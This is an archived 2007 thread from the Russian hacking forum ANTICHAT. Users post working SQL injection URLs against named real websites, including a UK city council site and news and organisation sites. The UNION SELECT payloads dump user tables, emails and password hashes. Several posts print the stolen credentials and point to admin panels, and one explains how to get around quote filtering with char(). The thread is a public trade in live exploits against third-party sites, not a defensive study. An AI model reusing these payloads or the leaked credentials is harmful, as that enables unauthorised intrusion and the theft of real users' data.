ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
07.05.2007, 13:42
|
|
Постоянный
Регистрация: 09.03.2007
Сообщений: 323
Провел на форуме:
1552920
Репутация:
369
|
|
Любимый туристический портал о Чехии
Код:
http://www.ilovecz.ru/index.php?idofpage=-1+union+select+1,user(),version()/*
|
|
|
07.05.2007, 14:50
|
|
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524
Репутация:
715
|
|
http://valakas.perm.ru/index2.php?c=14
в mssql полный ноль : )
http://valakas.perm.ru/index2.php?c=13
http://valakas.perm.ru/index2.php?c=14-1
где ты здесь инъекцию нашел? \=
|
|
|
|
07.05.2007, 15:23
|
|
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524
Репутация:
715
|
|
www.krasota.ru
- здесь ошиваются такие люди как сергей зверев и прочие гандурасы \=
http://www.krasota.ru/forum/print.phtm?fident=9&ident=-1+union+select+aes_decrypt(aes_encrypt(version(),0 x71),0x71)/*
таблиц не было времени подбирать \=
|
|
|
|
07.05.2007, 15:25
|
|
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524
Репутация:
715
|
|
Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near ')'. (severity 15) in D:\www_la2\show_clan_info.php on line 53
Warning: mssql_query() [function.mssql-query]: Query failed in D:\www_la2\show_clan_info.php on line 53
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource in D:\www_la2\show_clan_info.php on line 55
Fatal error: Cannot redeclare antiinjection() (previously declared in D:\www_la2\includes\functions.php:9) in D:\www_la2\base\index.php on line 171
разве это не показатель возможности проведения скуль инжекта?
или я что-то путаю?
в данном случае не показатель.
Incorrect syntax near ')'. (severity 15) in D:\www_la2\show_clan_info.php on line 53
ошибка в запросе, находящемся в самом скрипте, а не определяемым строкой адреса.
Последний раз редактировалось p-range; 07.05.2007 в 15:28..
|
|
|
|
07.05.2007, 15:35
|
|
Познающий
Регистрация: 31.01.2007
Сообщений: 88
Провел на форуме:
631013
Репутация:
453
|
|
Сообщение от Серенький
так вот вопрос - как это обойти, как изменить запрос, чтоб увидеть названия полей?
Использовать char:
nuke_users=char(110,117,107,101,95,117,115,101,114 ,115)
В твоем случае -
Код:
http://www.shinnik.yar.ru/modules.php?op=modload&name=News&file=article&sid=-1160+union+select+1,column_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.columns+where+table_name=char(110,117,107,101,95,117,115,101,114,115)+limit+0,1/*
Код:
http://www.chasm.ru/profile.php?userid=1153%20union%20select%201,password,3,4,5,6,7,8,9,0,11,12,13,14,email,login,17,18,19,20,21,22%20from%20users/*
Последний раз редактировалось kamaz; 07.05.2007 в 15:38..
|
|
|
|
07.05.2007, 18:13
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Код:
http://dbusinessnews.com/shownews.php?newsid=-1+and+1+union+select+concat(email,0x3a,password),2,3,4,5,6,7+from+users+limit+1,1/*&type_news=latest
Пассы в открытом виде. Лимитом можно погонять. |
|
|
|
07.05.2007, 21:10
|
|
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631
Репутация:
380
|
|
www.webchats.tv
Код:
http://www.webchats.tv/webchat.php?ID=-1111+UNION+SELECT+1,2,3,4,5,6,7,8,table_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53+from+information_schema.tables+limit+20,1/*
|
|
|
|
07.05.2007, 21:31
|
|
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520
Репутация:
572
|
|
sql-inj
Кафедра КВН
Сайт: http://www.kafedra.com.ua/
уязвимость: http://www.kafedra.com.ua/modules/dictionary/detail.php?id=885'
таблица: xoops_users
подобранные поля: uname,pass,email,uid
26 организмов
http://www.kafedra.com.ua/modules/dictionary/detail.php?id=-885+union+select+1,2,3,concat_ws(0x3a,uid,uname,pa ss,email),5,6+from+xoops_users/*
1:insight:af743111422bd5bb3e8bd5618b12bbae
админка
http://www.kafedra.com.ua/admin.php
таблица: ibf_members
подобранные поля: name,password,email,id
3121 организм
http://www.kafedra.com.ua/modules/dictionary/detail.php?id=-885+union+select+1,2,3,concat_ws(0x3a,id,name,pass word,email,website),5,6+from+ibf_members/**
На сайте поставили новый форум vBulletin, от него таблицы не нашел.
|
|
|
|
07.05.2007, 22:39
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546
Репутация:
1327
|
|
Lisburn City Council
Занесло блин случайно на сайт правительства
Код:
http://www.lisburncity.gov.uk/your-city-council/council-minutes-and-reports/index.php?id=-4+union+select+1,2,concat(user,char(58),password),4,5,6+from+mysql.user/*&sr=540'&month=&year=&search_keyword=&freshform=no
root: 03e6ff876dd3e5b1 |
|
|
|
08.05.2007, 03:06
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734
Репутация:
1917
|
|
Сообщение от Scipio
http://una.ge/eng/artdetail.php?group=articles&id=102%20UNION%20SELE CT%201,2,concat(loginname,0x3a,password),4,5,6,7,8 ,9%20from%20phplist_admin%20limit%201,1/*
или так
http://una.ge/eng/artdetail.php?group=articles&id=102%20UNION%20SELE CT%201,2,concat(name,0x3a,passwd),4,5,6,7,8,9%20fr om%20user%20limit%201,1/*
вот еще
http://rustavi2.com/news/news_text.php?id_news=20582%20UNION%20SELECT%201,2 ,3,4,5,usrname,pass,8,9,10,11,12%20from%20users_p% 20limit%201,1/*
Кстати прошу бережно отнестись к этому... т.к. первое - это сайт организации объединенных наций (una) а второй самый мзвестный в грузии телеканал... (типа нашего первого)
__________________
Карфаген должен быть разрушен...
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
